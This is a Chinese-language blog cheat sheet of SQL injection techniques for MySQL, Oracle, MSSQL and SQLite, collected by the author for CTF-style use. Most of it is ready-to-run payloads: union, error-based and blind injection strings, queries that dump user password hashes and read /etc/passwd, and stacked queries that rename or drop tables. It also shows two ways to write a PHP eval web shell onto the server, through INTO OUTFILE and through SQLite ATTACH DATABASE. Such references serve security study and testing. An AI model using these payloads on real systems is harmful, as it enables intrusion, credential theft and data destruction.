自己的总结加上搜集网上各路大牛的方法,应该还算比较全了。
p0desta‘s Blog

一、基本知识

1、常用函数

(1)查看当前数据库版本
  • version()
  • @@version
  • @@global.version
(2)查看当前登陆用户
  • user()
  • current_user()
  • system_user()
  • session_user()
(3)当前使用的数据库
  • database()
  • schema()
(4)路径查询
  • @@basedir ——mysql安装路径
  • @@slave_load_tampdir ——临时文件夹路径
  • @@datadir ——数据存储路径
  • @@character_sets_dir ——字符集设置文件路径
  • @@log_error ——错误日志文件路径
  • @@pid_file ——pid-file文件路径
(5)字符串连接函数
  • group_concat() ——返回一个字符串结果,该结果由分组中的值连接组合而成。group_concat([DISTINCT] 要连接的字段[Order BY ASC/DESC 排序字段] [Separator '分隔符'])
  • concat() ——将多个字符串连接成一个字符串,CONCAT(str1,str2,…)
  • concat_ws() ——有分隔符的字符串连接,CONCAT_WS(separator,str1,str2,…)
(6)盲注常用函数
  • length(str) ——返回字符串str的长度
  • mid(str, start [,length]) ——从字符串str的start(从1开始)位置开始返回长的为length的部分
  • substr(str, start [,length]) ——从字符串str的start(从1开始)位置开始返回长的为length的部分
  • left(str, length) ——返回具有指定长度的字符串的左边部分
  • ord() ——返回字符串第一个字符的 ASCII 值
  • ascii() ——返回字符串第一个字符的 ASCII 值
(7)Time-Based常用函数
  • BENCHMARK(count,expr) ——重复count次执行表达式expr
  • sleep(n) ——暂停数据库n秒
  • if(expr1,expr2,expr3) ——如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值
(8)Wrong-Based常用函数
  • rand(int) ——以int为种子生成伪随机数
  • floor() ——返回小于等于该值的最大整数
  • count() ——统计个数
  • updatexml()

updatexml()函数

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用: 改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值

例如,updatexml(1,concat('~',(select database()),'~'),3);
由于updatexml()的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

(9)其他函数
  • bin() ——返回值的二进制表示
  • conv(str,m,n) ——进制转换,将str从m进制转换为n进制
  • lower() ——转成小写字母
  • upper() ——转成大写字母
  • hex() ——十六进制编码
  • unhex() ——十六进制解码

2、常用语句及方法

(1)Mysql常用语句
所有用户:
1
select group_concat(user) from mysql.user
用户hash:
1
select group_concat(password) from mysql.user where user='root'
所有数据库:
1
SELECT group_concat(schema_name) from information_schema.schemata
表名:
1
SELECT group_concat(table_name) from information_schema.tables where table_schema='库名'
//表中有主码约束,非空约束等完整性约束条件的才能用这个语句查询出
1
SELECT group_concat(table_name) from information_schema.table_constraints where table_schema='库名'
字段名:
1
SELECT group_concat(column_name) from information_schema.columns where table_name='表名'
读文件:
1
SELECT load_file('/etc/passwd')
写文件:
1
SELECT '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/shell.php'

(2)UNION注入
判断列数
1
2
3
4
5
6
7
id=1' order by 1 %23
id=1' order by 2 %23
id=1' order by 3 %23
·····
id=1' order by n %23

直到报错为止,最后一个页面正确回显的数,即为列数
判断回显位置
1
id=-1' UNION SELECT 1,2 %23

然后在可回显的位置处构造SQL语句进行注入

(2)报错注入
floor
1
?id=1 OR (SELECT 8627 FROM(SELECT COUNT(*),CONCAT(0x70307e,(SELECT user()),0x7e7030,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
ExtractValue(有长度限制,最长32位)
1
?id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))
UpdateXml(有长度限制,最长32位)
1
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
Error based Double Query Injection
1
?id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1
exp(5.5.5以上)
1
id=1 and (select exp(~(select * from(select user())x)))
polygon
1
2
mysql> select * from users where username=""and polygon (password);
ERROR 1367 (22007): Illegal non geometric '`security`.`users`.`password`' value found during parsing

(3)bool盲注

对于盲注,常常需要写脚本来进行注入
可参考:以dvwa为例简单bool盲注脚本
payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// i 用于提取每一个位,j 用于判断其对应的ASCII码值的范围。
// k ,结合limit,选择偏移为k的行
// **中可以填上其他的select语句,比如查询表名,列名,数据。一次类推。
// SUBSTR() 也可以换成 SUBSTRING()

' OR (SELECT ASCII(SUBSTR(DATABASE(),i,1) ) < j) #

' OR (SELECT ASCII(SUBSTR((SELECT GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.SCHEMATA),i,1) ) < j) #

' OR (SELECT SUBSTR(DATABASE(),i,1) < j) #

' OR (SELECT SUBSTR((SELECT GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.SCHEMATA),i,1) < j) #

' OR SUBSTR((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT k,1),i,1) < j #

(4)时间盲注
检测方法
1
2
3
4
5
6
1 OR SLEEP(25)=0 LIMIT 1 #
1) OR SLEEP(25)=0 LIMIT 1 #
1' OR SLEEP(25)=0 LIMIT 1 #
') OR SLEEP(25)=0 LIMIT 1 #
1)) OR SLEEP(25)=0 LIMIT 1 #
SELECT SLEEP(25) #
payload
1
2
3
UNION SELECT IF(SUBSTR((SELECT GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.SCHEMATA),i,1) < j,BENCHMARK(100000,SHA1(1)),0)

UNION SELECT IF(SUBSTR((SELECT GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.SCHEMATA),i,1) < j,SLEEP(10),0)

(5)Insert / Update注入

insert和update一般使用报错注入,如果没有错误回显,insert可以使用延时注入,update可以使用bool盲注和延时盲注。

如果存在insert或者update,更新后的数据是可见的话,那么利用mysql的隐式类型转换,其实就是当字符串与整数相加时,会当作整数来解释,如下:
在这里插入图片描述

那么我们可以利用查询的数据转化为10进制,然后进行运算,拿到我们计算的结果,在进行转化回去即可。
(可参考RCTF 2015 upload一题)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> update users set password=''+conv(hex(substr(user(),1 + (1-1) * 8, 6)), 16, 10);
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0
mysql> select * from users;
+----+----------+-----------------+
| id | username | password |
+----+----------+-----------------+
| 1 | admin | 125822936825964 |
+----+----------+-----------------+
1 row in set (0.00 sec)
mysql> select unhex(conv(125822936825964, 10 ,16));
+--------------------------------------+
| unhex(conv(125822936825964, 10 ,16)) |
+--------------------------------------+
| root@l |
+--------------------------------------+
1 row in set (0.00 sec)

(6)表名可控注入
表名不完全可控且DESC的表名含有identifier quote,SELECT的表名不含identifier quote
1
2
3
4
5
6
7
8
9
mysql_connect("localhost","root","root");
mysql_query("use b2cshop");
$table = $_GET['table'];
mysql_query("desc `shop_{$table}`") or die("DESC 出错:".mysql_error());
$sql = "select * from shop_{$table} where 1=1";
echo $sql;
echo "<br><br><br><br><br><br><br>";
var_dump(mysql_fetch_array(mysql_query("$sql")));
echo mysql_error();

在这里插入图片描述
shop_users 后面的两个``,做了shop_users 表的别名,所以无影响。
这时候desc的语句为,

1
desc `shop_users` `where updatexml(1,concat(0x5e24,(select user()),0x5e24),1)#`
表名不完全可控且DESC的表名不含identifier quote,SELECT的表名含有identifier quote
1
2
3
4
5
6
7
8
9
mysql_connect("localhost","root","root");
mysql_query("use b2cshop");
$table = $_GET['table'];
mysql_query("desc shop_{$table}") or die("DESC 出错:".mysql_error());
$sql = "select * from `shop_{$table}` where 1=1";
echo $sql;
echo "<br><br><br><br><br><br><br>";
var_dump(mysql_fetch_array(mysql_query("$sql")));
echo mysql_error();

在这里插入图片描述

(7)无列名注入
别名
1
union (select 1,2,c from (select 1,2 c union select * from flag)b) limit 1,1

在这里插入图片描述
或者

1
union (select 1,2,c from (select 1,2 as c union select * from flag) as b) limit 1,1

在这里插入图片描述

绕过逗号
1
select c from (select * from (select 1 `a`)m join (select 0 `i`)o join (select 2 `b`)n join (select 3 `c`)t where 0 union select * from flag)x;

(8)可报错时爆表名、字段名、库名
字段名

上文介绍可以使用无列明注入,但是如果再进行限制,不允许使用union 该怎么破呢?

1
select * from admin where id=1 and (select * from (select * from admin as a join admin as b) as c)

在这里插入图片描述
把当前表第一个字段成功爆出来了。

这个的原理就是在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候 查询到重复字段,就成功报错。

同时,可以利用using爆其他字段:
在这里插入图片描述

表名

翻阅mysql的文档发现了一个非常好玩的函数

Polygon(ls1, ls2, …)

Polygon从多个LineString或WKB LineString参数 构造一个值 。如果任何参数不表示LinearRing(也就是说,不是一个封闭和简单的LineString),返回值就是NULL

如果传参不是linestring的话,就会爆错,而当如果我们传入的是存在的字段的话,就会爆出已知库、表、列。
在这里插入图片描述

库名

上面的方法已经可以爆出库名了,提供另一个方法

1
select * from admin where id =1-a()

(9)堆叠注入
新建一个表
1
select * from users where id=1;create table test like users;
删除上面新建的test表
1
select * from users where id=1;drop table test;
查询数据
1
select * from users where id=1;select 1,2,3;
加载文件
1
select * from users where id=1;select load_file('c:/tmpupbbn.php');
修改数据
1
2
select * from users where id=1;insert into users(id,username,password)
values('100','new','new');
找一处可查询处,利用修改表名来拿数据
1
';rename table `words` to `xxxx`;rename table `1919810931114514` to `words`;alter table `words` add id int primary key auto_increment;%23

三、其他数据库

1.Oracle

注释符:
1
-- +
当前用户权限:
1
select * from session_roles
当前数据库版本:
1
select banner from sys.v_$version where rownum=1
服务器监听IP:
1
select utl_inaddr.get_host_address from dual
服务器操作系统:
1
select member from v$logfile where rownum=1
服务器sid:
1
select instance_name fromv$instance
当前连接用户:
1
select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual
获取数据库名:
1
2
select owner from all_tables where rownum=1
依次爆出所有数据库名,假设第一个库名为first_dbname哪个第二个库select owner from all_tables where rownum=1 and owner<>'first_dbname'依次类推
获取表名:
1
select table_name from user_tables where rownum=1,依次爆出所有表类似暴库。
获取字段名:
1
select column_name from user_tab_columns where table_name='tablename' and rownum=1,

2.MSSQL

数据库版本:

select @@VERSION

数据库名:

select db_name()

数据库ip地址:

select local_net_address from sys.dm_exec_connextions where Session_id=@@spid

暴当前表中的列:

article.asp?id=6 group by admin.username having 1=1--

article.asp?id=6 group by admin.username,admin.password having 1=1--

暴任意表和列:

and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1

and (select top col_name(object_id('admin'),N) from sysobjects)>1

暴数据库数据:

and (select top 1 password from admin where id=N)>1


3.SQLite

(1)常用信息及语句

数据库版本:
select sqlite_version()

获取所有表名:
SELECT name FROM sqlite_master WHERE type='table'

所有表结构(包含字段名,表名):
SELECT sql FROM sqlite_master WHERE type='table'

注释符
--

盲注常用函数:substr()(没有mid、left等函数),判断长度函数length()

(2)BOOL盲注

bool条件构造和MySQL一样,但是亦或运算的Payload不可用,注释符使用–。

逻辑判断目前我就翻到一个substr(),应用实例:
cond='FALSE' or (substr('abc',1,1)='a')

(3)延时盲注

sqlite没有类似sleep()的函数,但有个函数randomblob(N),生成N个任意字符,可以造成延时。

SQLite没有if,可以使用case when … then …

格式cond='true' AND 1=(case when (bool) then randomblob(100000000) else 0 end)
100000000个字符就有明显延时了。

注意cond为真,并且不要有太多条数据,因为有一条数据就会执行一次randomblob(100000000),如果数据很多的话,服务器直接挂了。可以首先判断一下数据量,再确定N的值,比如我这里有100多条数据,就可以 id='' or 1 AND 1=randomblob(1000000)这样,把N的值缩小100倍。灵活运用。

运用实例:

1
' or 1 and 1=(case when substr('abc',1,1)='a' then randomblob(1000000) else 0 end)--
(4)写文件

需要直接访问数据库,或堆叠查询选项启用(默认关闭)

1
';ATTACH DATABASE '/tmp/p0.php' AS p0;CREATE TABLE p0.shell (data text);INSERT INTO p0.shell (data) VALUES ('<?php eval($_POST[1]);?>');--

root权限的话可以写计划任务和公钥,参考redis未授权访问利用。

(5)读文件

只能用在Windows上,需要特殊配置。

1
load_extension(library_file,entry_point)